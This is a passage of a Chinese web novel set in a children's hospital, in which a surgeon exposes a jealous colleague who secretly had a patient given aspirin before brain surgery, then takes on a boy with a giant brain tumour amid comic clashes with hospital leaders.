凡是和刑事沾边的,都不是小事,王喜男这才慌了,“医生,你说什么大出血?吃药会大出血?我们给静静吃的,只是让肿瘤缩小的药。” 徐富贵心脏突突地跳,越跳越没底,很想停跳。他嘴硬道:“别和他们废话,肯定是静静出事了,他们找替死鬼!” 南栀说:“没有哦,手术过程顺利,但是托杀人凶手的福,她还得去ICU,术后仍然有出血可能。不过我刚刚已经说啦,是因为吃了药,药不是医院喂的。” 王喜男听不懂这些,眼里只有迷茫。 徐富贵挣扎道:“还是孩子出事了吧?是你们手术有问题!我当初就说别手术别手术都不听!我……” 南栀朝护士招手,“姐姐,可以帮忙报警吗?” 吵吵嚷嚷的徐富贵瞬间安静。 南栀说:“我怀疑有人想谋杀徐静,报警处理,这是刑事案件,得严肃对待。” 护士扭头就走。 南栀补充,“最好还是联系精神病院,这里可能有人……” 徐富贵怒目而视。 南栀拍着胸口,“看,果然有点儿问题,好可怕哦。” 徐富贵:“……” 他怀疑南栀在嘲讽他,但他没证据。 附近的病人和家属基本上是一直留在手术室门口看热闹的,对事情经过比医生都熟悉。 绝大部分人还有理智。 “给脑子开个口,把瘤子取出来,这 么大的手术,居然背着医生给孩子吃药,怎么想的?” “幸好手术顺利,如果手术失败,他们还得和医生过不去。” “医生不是说了吗,术后还是可能出问题,他们是铁了心要害自家孩子。” “该不会是不想养了吧!” 舆论对王喜男和徐富贵愈发不利。 眼见所有人都对着自己指指点点,王喜男越来越慌,她磕磕巴巴地解释,“药是富贵买的,但富贵可疼静静了,他不会害静静的,别报警啊。” 奚阳华越听越烦。 都把孩子害成这样了,还帮着男人说话? 当妈的也不靠谱。 哦不,就是这当妈的和当爹的一起害孩子得。 奚阳华很想骂王喜男几句,但他看到南栀走向王喜男。 奚阳华:“……” 她不仅走过去,还是满眼同情地走过去的。 奚阳华:“……” 南栀也挺欠骂,这还能同情?! 南栀扶着王喜男安慰,“你别太担心,我一定帮你把谋杀静静的人揪出来,这件事绝对不能算了。手术过程都有记录,医院会全力配合警方调查的。” “什么杀人犯?还要调查?我们只是给静静吃了药啊,那是能让肿瘤缩小的药!南医生,你等等!” 南栀笑眯眯道:“警察来了就能查了,药是徐富贵拿来的,对吗?他有没有和你说实话,谁都不知道,是吧?” 王喜男看向徐富贵。 下一秒,她朝徐富贵扑去,两人厮打起来,保安都没能拦住。 奚阳华:“……” 南栀这个黑心的家伙! 报警是真的,但南栀所说的揪出杀人犯,指的并不是徐富贵。 徐富贵这种行为,还真的很难说他有刑事责任。 他只是个灵机一动的蠢蛋,做出的事情达到许多愚蠢坏人都达不到的效果,惊为天人。 天生的蠢人。 南栀真正想找的人,是卖药给徐富贵的“专家”。 手术团队所有人都没走,大家神秘兮兮聚在一起,还多了一个沈玫。 “太惊险了吧,开颅手术术前吃阿司匹林?怎么想的?” 护士说:“还好南医生术前一直叮嘱他们,大家都看见了,不然他还得怪医生。” 南栀道:“一般的专家骗骗人,可能拿些没用也无害的,直接用阿司匹林代替,这还是第一次。” 而且开颅手术前刚好不能吃阿司匹林,这只是巧合? 南栀不相信这种巧合。 “是有人想让徐静死吧?徐富贵说的专家,可能是他的仇人。” 南栀道:“所以一定要交给警方调查。” “等等,”奚阳华突然开口,“不一定是针对徐静吧?” 南栀看向奚阳华。 奚阳华说:“你们看啊,如果真的存在一个凶手想要害人,那他一定是知道开颅手术前不能吃阿司匹林的,他还特意用了没有标签的盒子来装药。看徐富贵的状态,应该还叮嘱他不要告诉医生了,所以他们夫妻俩一直瞒着。这说明专家是具备一定医学常识的,一个普通人,是不会关注开颅手术前能吃什么药的,对吧?” 奚阳华被自己的聪明才智征服 南栀问:“你的意思是,这个人也是医生,医生……可能在针对医生?” 一台手术出事故,最先被关注的人会是谁? 南栀疑惑道:“针对我?为什么要针对我啊,我从来不得罪人啊。” 从来不得罪人啊。 从来不得罪人。 从来不…… 奚阳华:“……” 沈玫:“……” 手术团队所有人安安静静。 奚阳华问沈玫,“你帮我看看耳朵,我耳朵是不是坏掉了?我好像听见有人在说疯话。” 沈玫:“……我也听见了。” 南栀很惊讶,“我经常得罪人吗?” 奚阳华疯狂撞墙:“苍天啊,谁来救救我。” 麻醉医生忍着笑说道:“你对奚阳华的确没嘴软过。” 南栀茫然道:“和他也只是说了些实话啊,我没有针对过他。” 奚阳华:“闭嘴!” 实话才更伤人! 南栀不怕被针对,也不怕得罪人,但用这种下三烂的方式坑害病人可不行。 警方很快赶到医院,将徐富贵带走了解情况,王喜男六神无主,完全配合。 第二天,警方将调查结果反馈给医院。 徐富贵口中的专家其实是他在路上偶遇的,他根本就不认识人家,人家开口一句看出他家里有病人,他就认为人家是大师。 大师称他的药丸可以缩小肿瘤,徐富贵信了。 大师还说,医院为了赚钱,不会卖这种药,这事不能对外说,医院会对孩子的病动手脚,徐富贵也信了。 谁的话他都信,就是不信医院的话,好像医院和他们老徐家有血海深仇。 沈玫递给南栀一张纸条,“这是大师给徐富贵留下的,一看就是医生,不然不会留纸条。” 纸条上写着一日一次,饭前食用。 南栀:“……” 还好没写一日三次,不然人真可能救不回来。 “这是我抄的,先拿给你看看,真的在警察那边,警察可能要比对字迹。” 警察很上心,侧面说明这位专家可能还真不是坑蒙拐骗的骗子,他或许就是冲着徐静来的。 南栀说:“那就比对吧,我问心无愧。” 当天下午,儿研所领导找到南栀。 南栀来儿研所这么久,一直是舒教授负责管理,她还没见过几个领导。 领导问了一些有关手术的问题,南栀一一回答。 领导说:“所以手术过程是没问题的,你能保证吗?” 南栀仔细捉摸了半天,满脸困惑。 领导的态度和蔼可亲,“是还有疑问吗?对于手术过程中的疑问,可以都说出来。” 南栀摇摇头,她真诚地问道:“领导,您家缺锅吗?” 领导:“?” 南栀说:“我感觉,您家锅太多,好像想送我几个。” 在南栀心目中,她给自己的人设可一直都是聪明机敏、识大体、情商高、反应快的。 虽然大家都要吐槽几句她的情商,但可不代表她真是傻子,这领导明显想甩锅! 南栀问:“警察在查医院的人,您慌啦?怕是医生做手脚,被查出来,医院面子上挂不住?” 领导:“……” 南栀说:“我也担心医院被冤枉,要不咱找找电视台,还医院一个清白?” 领导脸色极差,“我只是来了解情况。” 南栀:“嗐,我就和您开个玩笑。” 领导:“……” 领导怒气冲冲地离开。 奚阳华和沈玫凑过来。 “真牛,领导都敢气?你知道他是什么身份吗?你知道能在儿研所当领导的都是什么人吗?以后舒教授保不住你,你可别喊冤枉。” 南栀愁容满面,“我委婉了啊,我还说是在开玩 笑呢,他怎么还生气?” 真小心眼。 奚阳华:“……” 说是开玩笑,不更像是在讽刺人吗?? 南栀安慰两人,“没关系的,反正我马上就要走了,他也不是我的领导。” 奚阳华:“……” 难怪她敢怼天怼地呢,人家根本不会留在儿研所啊?! 奚阳华终于明白上班的真谛——要做一个随时能走的人。 当天晚上,舒映阶召集所有人开会。 “警方已经查明,卖给徐富贵阿司匹林的人不是骗子,他只针对徐富贵一人,目的性强,背后之人是谁,必须查出来。你们如果有线索,及时报告给警方。” 舒映阶扫视着所有人。 奚阳华道:“其实我不太相信医生会做这种伤害患者的事。不过如果是奔着南栀来的……” 他余光看向南栀。 那可就太有可能了。 奚阳华在心里疯狂叫嚣:打倒她打倒她打倒她。 但如果靠这种手段打倒南栀,那就只有一个可能——患者出事了。 奚阳华的良心又在谴责自己:不好吧不好吧不好吧。 于是现在的奚阳华:打倒她不好吧打倒她不好吧…… 奚阳华捂着胸口站起来,“舒教授,我有点儿累,能提前走吗?” 舒映阶:“?” 舒映阶放走奚阳华,说道:“警方还在比对字迹,所有人都要配合。” 南栀偷偷观察几个主治医生的脸色。 如果对方是冲着她来的,她又是不会得罪人的性格,那他显然是冲着她的……才华! 她最近备受关注,可能是太高调,遭人嫉妒了! 南栀认为自己的分析很完美! 舒映阶道:“听徐富贵说,是他记不住每天吃几次、什么时候吃,才要求对方写下来。不是找人代写,是他亲手写的,躲不掉。” 南栀补充道:“警方调查笔迹的方式和我们想象的不一样哦……郭医生,你怎么了?” 神外所有人都看向郭迁。 郭迁脸色煞白,尤其是嘴唇,一丝一毫的血色都没有。 他身体轻轻颤抖,只有坐在他旁边的医生才能观察出来。 “小郭,你还好吧?” 南栀想了想,说:“郭医生,要不你写几个字看看?” 第82章 第82章好大 南栀刚说完,奚阳华、沈玫几人集体扶额。 瞧瞧,这就是号称有情商的南栀。 这话能当着面说吗?这不得悄悄潜入郭迁的办公室,然后偷走他的文件对比字迹? 如果不是郭迁,以后相处起来多尴尬。 蹲在门外的奚阳华还在平复心情。 偷笑的毛病还没改掉,就听到南栀要看郭迁的字迹。 奚阳华嘴角上弯。 没有证据就怀疑郭医生,这能行吗?如果不是郭医生,他就能看南栀出丑,舒教授对她很失望,发现更优秀的人才比如他,从此舒教授放弃南栀一心一意培养他…… 奚阳华在门口笑出声。 所有人都看向会议室大门。 奚阳华:“……” 他捂着嘴溜走。 舒映阶轻咳一声,把大家的注意力拽回来。 “你怀疑郭迁?” 南栀说:“我见过郭医生的字迹,蛮像的。郭医生不写也没关系,我会和警察说明此事。另外领导有来找过我,不知道郭医生和他熟不熟,我不认识他,一会儿我会去办公楼看一看,麻烦舒教授查一查他和郭迁的关系。” 南栀倒也不会平白无故指控别人。 沈玫提过此事后,她便去见了警察,看到那张字条。 南栀是主刀,此事和南栀也有关系,警察肯定不会拒绝她。 南栀最开始只是觉得字迹眼熟,不过她没有记人家字迹的习惯,所以才想起来在哪里见过。 舒映阶道:“那就交给警方。” 郭迁突然站起来,情绪激动道:“舒教授!这里面可能有误会!” 舒映阶沉默不语。 郭迁试图撇清自己,“我只是,只是……是徐富贵来问我,所以我给他写了剂量,是他撒谎。” 南栀问:“他问你阿司匹林该怎么吃?” “当然不是,我知道徐静要做开颅手术,怎么可能让她吃阿司匹林!” “那他问的是什么药?一天服用一次,餐后服用。” 郭迁不假思索道:“是治痛风的药!别嘌醇!没错,就是这个,根本不是阿司匹林,他是想撇清责任,他有痛风,或者他的家人痛风,再或者是朋友!” 南栀恍然大悟,笑眯眯道:“可你写的是饭前服用诶。” 会议室内鸦默鹊静。 所有人都无声地看着郭迁。 郭迁先是愣住,再踉踉跄跄地往后退,又被椅子绊倒。 没人去扶他。 舒映阶问:“你知道如果患者无法止血,会有什么结果吗?” 郭迁无法开口。 舒映阶失望道:“医院也是职场,是职场就会有钩心斗角,现在的人没有过去那么纯朴,这些我都知道,但我真没想到,你甚至不惜制造手术事故……这件事我管不了,交给警察吧。南栀,报警。” * 一周后,警方的调查结果回馈到儿研所,私下联系徐富贵的人就是郭迁。 郭迁考虑过让其他人代他送药,但是又觉得这样会被抓住把柄,于是自己乔装后接近徐富贵。 徐富贵虽然没能认出郭迁,但警方在郭迁家中找到他乔装用的假发。 说起来挺好笑,假发是郭迁的妻子的,他没舍得也不敢把假发扔了。 郭迁被警方带走。 这对儿研所来说是丑闻,领导们的脸色一直不好。 尤其是看见乐乐呵呵的南栀,脸色就更不好了。 出了这种事,还能笑得出来? 南栀不仅敢笑,还敢大声笑。 没有郭迁,她这个舒映阶的一助就当得更顺心了。 好事的领导试图找南栀谈心。 “其实这种事情,我们可以私下解决,郭迁必须受到惩罚,我们可以开除他,然后……” 南栀好奇道:“您不知道《刑法》吗?” 她慷慨地表示,“如果新华书店能买到,我可以送您一本。” 领导一号:“……” 领导二号比较委婉,“儿研所的进步,需要外界的监督,但监督要适度,比如……” 南栀问:“下次出事,我应该直接叫纪委吗?” 领导二号:“……” 领导三号的脾气比较急,一上来就痛批南栀,“你应该先上报再报警!郭迁的个人行为不能影响儿研所!我要处分你!我要开除你!” 南栀:“可我不是儿研所的人啊?” 她只是来进修的? 领导三号:“……” 同事们很替南栀担心。 “我知道你手术厉害,但是在医院想晋升,绝对不能得罪领导,你想一辈子都做普通的主治医生吗?” 南栀问:“手艺好,也不会被其他医院挖走吗?” 沈玫:“……” 如果能做的高难度手术很多,那确实…… 沈玫道:“可没有靠山的人,被穿小鞋很难受的,只能自己把委屈往肚子里咽。” 南栀更好奇了,“我算是有靠山的还是没靠山的?” 沈玫:“……” 陆教授介绍过来的,舒教授现在的爱徒。 医生们一个接一个地沉默。 南栀感慨道:“做普通人真的好难,不过还好,我不会留在首都,我一定帮你们好好骂一骂领导!” 沈玫:“……” 他们担心南栀这事就多余。 郭迁没能再出现在儿研所,此事性质恶劣,往后他不但很难再进正规大医院,还要面对牢狱之灾。 至于不听医嘱,主动给孩子喂阿司匹林的徐富贵和王喜男,不会受到任何制裁。 他们的愚昧险些害了孩子,却不会受到任何惩罚,这事也挺好 笑。 坏事经历得多了,一个星期后,南栀终于遇到一件好事,卢书语带着郑瑞博来复查。 母女俩的精神状态都不错,卢书语是特意把郑瑞博带来的。 南栀惊喜道:“你们不是回老家了吗?” “我妈过来了,”卢书语说,“我们在附近租了房子,她帮我照顾孩子,再做点儿零工,我也找个活儿做,还能顺便去医院治疗。” “你决定接受治疗啦?” 卢书语笑道:“还是想活,实在不舍得走,只是不知道能多活几年,还会连累我妈……我和她说好了,真到那一步,不要做没用的抢救,让我安心地走。” 南栀听着就心疼,“别太担心,保持好的心态,说不定还能再活上几十年。” 卢书语莞尔一笑,“那就太好了。” 舒映阶给郑瑞博做检查。 “恢复得不错,身体没有其他毛病,心肺都很好。” 卢书语再次道谢,“让舒教授费心了,我听其他人说,找您看病的患者很多,想排上您的号很难,您还愿意给我们加号,太感谢您了。” 舒映阶道:“给孩子看病就是我的工作,不管是谁过来,这号都得加。” “您心地善良,气色也好,一定能长命百岁。” 南栀看向舒映阶。 最近这段时间,她能在舒映阶身上闻到粉饼的味道。 南栀号称自己天生丽质,几乎不化妆。 主要是不太会,而且她平时根本没有化妆的时间。 南栀认识的化妆品不多,这会儿常见的也就只有大白粉饼、眉笔、口红,护肤品也基本上被雪花膏统治。 南栀能看出舒映阶涂了粉饼和口红。 口红很淡,这会儿流行大红色,舒映阶也不好涂得太深。 南栀自豪道:“舒教授可厉害着呢,每天忙前忙后,还能认真生活,你看舒教授的衣服,我都没见过她的衣服带褶。” 南栀说着,摸了摸自己的白大褂。 她挺爱干净,但不太喜欢用熨斗。 卢书语笑起来,“舒教授的年纪比我姥姥都大,但是精气神比她好得多,不愧是医生,保养得真好。” 舒映阶无奈道:“你们两个小年轻才应该多打扮打扮,我只是让自己看起来体面些。” “这才是对生活的态度,用心过好每一天,多好呀,”卢书语说,“我得和舒教授学习。” 卢书语的病不能在儿研所看,她还得去富雅医院。 先前舒映阶已经和富雅医院打过招呼,卢书语看病会方便得多。 送走卢书语,南栀的心情都好了起来,她朝舒映阶笑嘻嘻道:“如果每个患者家属都和卢书语一样,完全信任医生,医生怎么说,她就怎么做,也不会偷偷喂药,多好啊!” 舒映阶早就看穿南栀,她无奈道:“她选择相信你,你很感激吧?” 南栀点头,认真道:“我当时真的以为得换人,毕竟是那么大的手术。” 舒映阶道:“来做医生的,最开始每个人都是一腔热血,可做医生会遇到形形色色的人,不讲理的、人品不好的、甚至会诬陷你的,也许一连几天你都会碰到这种人,这种情况下,如何避免心灰意冷,怎么保持最开始的一腔热血,你知道吗?” 南栀迷茫地看着舒映阶,她不是会被其他人动摇的性格,就算是徐富贵那种人,她也不会太在意。 舒映阶轻轻叹气,“只怕徐富贵都是比较好的了,总而言之,减少私下接触,减少预期吧。” 南栀不太理解。 舒映阶不多解释,继续叫号。 南栀已经跟着舒映阶看了一上午的诊,她说道:“咱们今天运气不错诶,这一上午都没碰到什么大病。” 舒映阶抬眼看着南栀,眉头高高挑起。 南栀心情极好地整理桌面。 南栀手里已经没有患者,再过几天,她就得收拾东西回临川市。 南栀挺舍不得舒教授,不过她也挺想家,甚至还有点儿想康宁医院住院部的捣蛋鬼们。 儿研所的住院部沉闷得很,尤其南栀在神外,住院的患儿不多,但只要进来,那就是大病。 南栀准备好钢笔,笑眯眯地等待新的患儿进来。 一个女人推着轮椅走进来,轮椅上坐着一个八岁的孩子。 舒映阶:“……” 南栀:“……” 运气真好,没有生大病的…… 舒映阶问:“你在临川的医院,也这样说话?” 南栀:“……” 再也不敢了。 患儿陶明志,今年八岁。 “他说头疼,这一年经常呕吐,我们比较忙,还要照顾他姐姐和弟弟,只带他去小诊所打了针,最近总说没力气,现在已经没办法站着了。” 陶明志家境一般,轮椅还是找医院借的。 南栀走到陶明志面前打量他。 陶明志八岁,身材瘦弱,南栀能清晰地看到陶明志手腕凸出的骨头。 舒映阶问:“他多高多重?” 唐水花答道:“有一米三了,昨天刚给他称了体重,有四十斤,他姐姐在他这个年纪时,可比他重多了。” 南栀拧起眉,“怎么才带过来?头疼呕吐,应该重视。” “没想过是有大毛病,”唐水花也挺委屈,“我都带他去诊所了,他自己也去,诊所的医生没说有问题啊。” 小诊所的基本上就是“全科”医生,下料比较猛,看不了什么大病。 舒映阶走过来给陶明志查体,“小朋友,叫什么?” 陶明志的目光随着舒映阶的手移动,他虽然清醒,但是精气神弱,看着无精打采的,说话几乎听不清楚,“我叫陶明志。” “四十斤,太瘦了,现在还能站立吗?” 唐水花说:“今天是我男人骑三轮车把他带过来的,站不起来了。” 舒映阶开始检查陶明志的左右腿,南栀蹲在一旁看。 “右腿没力气?” 陶明志点头。 舒映阶检查过后起身道:“带着孩子去拍片子吧,南栀,你去帮帮忙。” 南栀和唐水花一起送陶明志去拍片子。 一般情况下,舒映阶不会让南栀跟着患者,现在她是在给陶明志开绿色通道,说明陶明志的情况很不好。 去拍CT的路上,南栀遇到奚阳华。 奚阳华眉飞色舞地和南栀打招呼,“听说你马上就要走了?恭喜恭喜。” 南栀一走,舒教授就只能在矮子里挑将军,他就会荣幸地成为舒教授的新弟子。 这段时间他一定要好好对南栀,赶紧把她送走! 南栀说:“其实舒教授挑徒弟,也是看天赋的。” 奚阳华:“你先把嘴闭上。” 南栀:“而且你不去其他科室吗?” 奚阳华:“……” 可恶!! 南栀占据了他 全部时间!! 奚阳华紧跟在南栀身后,“小朋友怎么了,你送他去拍CT?你送?” 南栀道:“得尽快拿到结果。” 奚阳华:“靠,那情况岂不是……” 南栀看向奚阳华。 奚阳华及时闭嘴。 南栀欣慰道:“我就说我的情商很高的嘛。” 起码比奚阳华强。 怎么能在患者和家属面前说情况不好! 南栀为自己的情商打满分。 在南栀几人的帮助下,陶明志被送进CT室。 南栀和奚阳华一起凑到机器前看情况。 两人一起发出惊叹—— “哇。” “靠。” * 不忙的副主任医师都被舒映阶叫去开会,一起开会的还有奚阳华、沈玫以及医院领导张嘉。 张嘉是领导,曾经也是医生,现在基本不去门诊。 舒映阶召集的会议,很少有领导愿意过来,毕竟最后拍板的是舒映阶,他们过来了,又没作用,显得他们很没用。 张嘉今天过来,摆明了没好事。 张嘉乐呵呵道:“我先说两句。” 按照惯例,领导发言应该听到掌声。 副主任们稳稳当当地坐着,没反应。 奚阳华才搓手指,他最近又在帮孩子洗尿布,现在已经被尊为尿布大师、一级尿布清洁员。 沈玫脸色不好,盯着肚子看。 南栀最夸张,她当着张嘉的面打了两个哈欠。 张嘉:“……” 他用严厉的声音表达自己的不满,“这位同事,开会怎么还打起哈欠来了?” 南栀说:“我连轴转,太累了,面对病人时要精神抖擞,但面对和蔼可亲的同事,可以适当放松,您说呢?” 奚阳华“啪啪啪”鼓掌。 哄南栀! 送走她! 张嘉:“……” 舒映阶道:“小张,你有什么事尽快说,我们还有工作要讨论。” 张嘉:“……” 其实他也不喜欢参加有舒映阶的会议!! 人家都叫他张院长张所长,舒映阶就能叫他小张!他还不敢说什么! 张嘉轻咳两声,给自己起范儿,“郭迁的事,大家都清楚,南医生是哪位。” 南栀举起手。 “是你啊,”张嘉道,“虽然郭迁已经被开除,这件事告一段落,但是苍蝇不叮无缝的蛋,我们平时与同事相处,要互相包容,对吗?” 南栀感动道:“谢谢您让我休息。” 她说完就打算趴下补觉。 张嘉:“……” 奚阳华:“能睡觉?” 他也跟着趴下。 副主任们拼命掐大腿。 他们瞧不上张嘉,但可不能得罪他,笑出声不太好。 张嘉也在拼命,他在拼命克制自己,别直接掀桌。 张嘉努力和颜悦色道:“这位是?” 舒映阶道:“今年来的实习生。” “哦,实习生啊,在听对方说话时集中注意力是最基本的礼貌,你认为呢?” 奚阳华:“您不是包容同事吗?” 他脱下外套铺在桌子上,“我们最近确实挺累的,这两天我每天只能睡四个小时,他们都差不多,谢谢您的包容啊。” 张嘉:“……” 他想发疯,都别拦着他发疯! 南栀和奚阳华稳稳当当地趴着,目光中充满对张嘉的感激。 瞧瞧,多有人情味的领导! 张嘉从未有如此无力的时刻,逼不得已,他哭丧着脸看向舒映阶。 舒映阶淡定地翻看病历本。 张嘉:“……” 到底是谁让他来的?! 张嘉深吸口气,“好,你们休息,我包容。我今天来的目的,就是处理郭迁一事,郭迁嫉妒同事,暗中搞破坏,固然可恨,但大家也要考虑同事之间的关系为何如此恶劣,多从自身上找原因。” 南栀惊讶地睁开眼,“您是说,郭迁给开颅患者吃阿司匹林,我们要反思自己?” 张嘉道:“他是针对你,但为什么要针对你,你考虑过吗?你平时对他的态度如何?” 南栀从不内耗,“我对每一个同事都很好呀,大家都很喜欢我。” 副主任们默默点头。 张嘉:“……” 好厚的脸皮。 张家说:“如果没问题,为什么他只针对你,不针对别人?” 南栀:“我厉害啊,进步快,舒教授看重,他嫉妒我的才华。” 张嘉:“……” 今天没带米尺,不然他高低要量量她的脸皮到底有几厘米厚。 南栀补充道:“不过您放心,我心胸宽广,不会记恨他的,我一定按照您说的,包容!” 张嘉忽然很累。 和他们每一个人说话都很累!! 张嘉不想再和南栀拌嘴了,他选择直接公布结果,“南医生毕竟不是儿研所的医生,却给儿研所带来大风波……” 南栀举起手,“不好意思更正一下,是儿研所的郭医生给儿研所带来了巨大的风波哦,而我,非儿研所医生,力挽狂澜,顺利完成手术,和血液科主任一起在术后盯紧徐静,最终,徐静顺利转入普通病房,恢复良好。” 南栀笑眯眯道:“张院长,您不用感谢我,这都是我作为医生应该做的!” 沈玫带头,大家“啪啪啪”鼓掌。 张嘉的脸色从蓝变成红,又从红变成绿。 他气愤地看向舒映阶,“舒教授,这就是您建立的神外,您看看!” 舒映阶抬头,目光看起来有点儿迷茫,她迟疑片刻,道:“不好意思。” 张嘉语气很冲:“您就不用道歉了,您的道歉我受不起!” 所有人脸色微变,南栀正想跳起来,就听舒映阶缓缓鼓掌道:“需要我鼓掌就说,这点儿小事我能做。” 南栀:“……” 奚阳华:“噗。” 张嘉的脸终于顺利变成猪肝。 他气冲冲道:“总而言之,南栀暂时不用手术了!” 南栀看向舒映阶。 其实最近几天舒映阶的手术越来越少,其他手术都排给了副主任们。 南栀快要走了,交给她的病人也越来越少,总不能一直给她安排手术,手术是做不完的。 舒映阶没说什么,南栀也没开口,她不想给舒映阶惹麻烦。 张嘉道:“继续开会,今天我不走。” 奚阳华嫌弃地撇嘴。 南栀开始介绍情况。 “患儿陶明志,八岁,身高130cm,体重20kg。” 南栀把片子传给副主任们。 “来就医时已经无法独立行走,唐水花描述,患儿近一年来经常头疼呕吐,右下肢肌力Ⅲ级。” 每个看过CT和头颅MRI报告的医生都皱起了眉。 奚阳华心有余悸道:“他们的运气还真不错,第一次来医院,就挂到舒教授的号,换作其他医生,可能都不敢收他们。” 沈玫好奇地挤过去看。 奚阳华说:“你猜我和南栀看到后说了什么?一个字。” 沈玫:“天。” 奚阳华:“哦对,还可以说这个。” 陶明志的CT显示,他的左侧额顶叶、脑室内巨大囊实性混杂密度影。 头颅MRI显示,左侧额顶叶、侧脑室内巨大囊实性混杂信号影,边界欠清,肿瘤大小最长直径超过10cm。 “104mm×64mm×72mm,脑子里?!” 陶明志脑中有一巨大肿瘤。 1号副主任发话道:“我算是半路出家,以前不是神外的,被舒教授邀请来咱们小儿神外,我接触的病例可能比较少,这么大的颅内肿瘤,我是真没见过。” 2号副主任说:“我倒是见过,但没做过类似的手术。” “我在神外见过,还没来得及开刀人就没了。” “这么大的瘤子,手术难度极高,手术过程中可能会发生各种情况,说实话,我是不太敢开这个刀。” 所有人都看向舒映阶。 奚阳华和沈玫的目光更是崇拜。 没人敢开这个刀,但他们知道,舒映阶一定敢。 没有舒映阶,唐水花可能连愿意接收她儿子的医生都找不到。 舒映阶缓缓道:“我最近没有安排手术,倒是可以主刀,但是一助……” 舒映阶看向张嘉,“谁来做一助?” 这问题挺莫名其妙的,手术的事当然是舒映阶来安排。 副主任们安静了一分钟。 舒映阶一直看着张嘉。 副主任们恍然大悟。 “以前都是郭迁给舒教授做一助,后来是南栀来,我可不行,这手术我做不了。” “我也不行,我后面很忙,手术排不开。” “唉,都副主任了,还得去做助理,找个主治医生吧,我做不了。哦对了,没有闲着的主治医生。” 张嘉:“……” 这些人存心的。 奚阳华最后总结道:“我挺想做,但我不敢。” 沈玫问:“怎么不敢?” 奚阳华不是做梦都想给舒教授做一助吗? 奚阳华道:“舒教授为了带南栀,不让郭迁继续做一助,当然也是因为郭迁喝酒上台,不过结果都一样。郭迁为此记恨上南栀,差点儿搞出手术事故,我如果给舒教授做一助,南栀记恨我怎么办?” 沈玫偷偷看向张嘉,她很想保持理智,继续保持中立,但嘴比脑子快,“是哦,要包容同事,注意维持同事关系。” 张嘉:“……” 这!帮!人!! 舒映阶为难道:“你看,没人了。” 南栀想说她可以,被舒映阶在桌下踹了一脚。 南栀:“其实我……” 她又被沈玫踹了一脚。 南栀:“我是想说……” 奚阳华晃了晃腿,一脚踹过去,却扑了个空。 南栀拽住奚阳华的脚腕用力往后一拽,奚阳华从椅子上摔了下去。 俩人一起喊道:“嘶,真疼。” 张嘉:“……” 他扶着额头,有点儿缺氧。 舒映阶再次问道:“小张啊,这怎么办,你也知道这种巨大肿瘤的手术难度有多大,现在没人能给 我做一助,这手术我也不敢做。要不你来看看?” 张嘉咬牙切齿地看向几个副主任。 副主任们唉声叹气,“唉,老了,体力跟不上。” “何止是体力,我这技术就有问题,没能跟舒教授好好学习,怪我。” 张嘉:“!!” 可太让人生气了!! 被算计就罢了,最可气的是他们还要阴阳几句,到底谁教他们这样说话的?! 张嘉深吸口气,平复心情。 平复失败。 他又深吸口气,再次失败。 他又又…… 奚阳华:“您缺氧啊?” 张嘉:“……” 险些憋死。 迫于无奈,他挤出一丝笑容,对舒映阶和颜悦色道:“如果舒教授用南栀更顺手,那就让南栀来做一助吧。” 南栀:“我没……” 沈玫又踹了她一脚。 南栀:“……” 她要没腿了。 舒映阶说:“这可不行,你刚才说了,不让南栀再上台,你知道我一向支持你的工作,绝对不能给你添堵。” 张嘉乐呵呵地看着舒映阶。 对,不给他的工作添堵,但给他的脑血管添堵。 张嘉说:“没办法,只有南栀有这个本事,那就只能让她上了。” 舒映阶还是不同意:“不行,这台手术得好好准备,南栀马上要回临川,她没时间。” 张嘉:“……” 所以呢?难不成还要他求南栀?! 舒映阶叹气道:“有天赋的外科医生,可遇不可求啊。” 副主任们纷纷叹息摇头,“咱们儿研所,没希望了!” 再说下去,整个儿研所都要因为失去南栀而关门大吉。 张嘉疯狂地在心里抽自己。 让他贱! 让他没事往神外跑! 让他蠢! 张嘉笑容如常,“小南啊,既然科室需要你,你看回临川的时间能不能往后推一推?咱们还是手术要紧。” 舒映阶道:“不合适吧,南栀毕竟不是儿研所的医生。” 张嘉:“……我代表儿研所所有人拜托你了。” 南栀想说话,但腿很疼。 她一边揉腿一边偷看舒映阶和沈玫。 她能说话了吗?不会被踢了吧? 南栀不开口,张嘉就得继续做好面子工作,“呵呵,小南是少见的有天赋的外科医生,没能留在儿研所,是我工作失职。呵呵。” 南栀继续揉腿。 张嘉:“……” 不要太过分啊! 张嘉:“这次情况比较特殊,能做手术的人不多,还是得麻烦小南。” 南栀仍然在揉腿。 张嘉:“郭迁的事,我以后就不提了。” “……” 张嘉:“我知道,这就是郭迁的错!以后儿研所绝对不会再雇佣郭迁这类人!再出类似的事件,必须严惩!!” 张嘉是跳起来骂着说完的这段话的。 真心地骂。 该死的郭迁,去招惹谁不行!! 舒映阶的脸色稍微缓和。 沈玫朝南栀挤眉弄眼。 南栀:“……呃,也行,手术嘛,为了孩子。” 副主任们一起鼓掌。 舒映阶:“瞧瞧,还是我们南栀觉悟高!” 张嘉:“……” 他再也不会来神外了!! * 陶明志情况特殊,光是开会讨论手术方案都开了两次,每次一个半小时打底。 南栀习惯在手术前多去看看患者。 奚阳华正和沈玫一起把陶明志抱到轮椅上,陶明志住院以来只有唐水花在照顾她。 陶明志虽然很轻,但唐水花的力气也有限,沈玫和奚阳华没事就来帮帮她。 南栀走过去问了一些情况,然后贴心提醒道:“如果照顾不来,可以让家人来帮忙,留两个家属也可以的。” 她记得陶明志是首都本地人,亲人应该都在。 唐水花苦笑道:“我爸妈身体不好,家里其他人都忙着。” 南栀问:“陶明志的父亲呢?” 她还没见他露过面。 唐水花说:“手术要钱,他得忙着赚钱,哪有时间过来?唉,我是不指望什么了,只求能凑够钱给孩子治病。” 唐水花是纺织厂的女工,丈夫陶靖最近在工地干活。 孩子没生病时,家里的日子倒是能过得去,但陶明志生了这么大的病,家里那点儿钱就不够用了。 这几天唐水花睡都睡不踏实。 两人正说着,一个男人走了进来。 男人身高有一米八五,人高马大,看着得有近200斤,而且都是肌肉。 是陶明志的父亲陶靖。 第83章 第83章嚣张 陶靖是标准的国字脸,头发乌黑浓密,身材魁梧壮硕。 他走进病房后不看旁人,径直走到唐水花面前,唐水花把暖壶递过去,“去接热水,接完赶紧回家吧,早点儿休息。” 陶靖什么都没说,拎着暖壶去水房接水。 南栀问:“他在工地上班?” 唐水花“嗯”了一声。 南栀若有所思道:“挺爱干净。” 陶靖的衣服、手、脸都是干净的,看不到一点儿灰尘。 唐水花看过来。 南栀笑笑:“早点儿休息,还得做术前检查,不要给孩子乱吃东西,不管吃了什么,都要告诉医护人员。” 有徐富贵在前,南栀现在看到患者家属就得多叮嘱几句,把问题往严重了说,乱吃就会死人的那种。 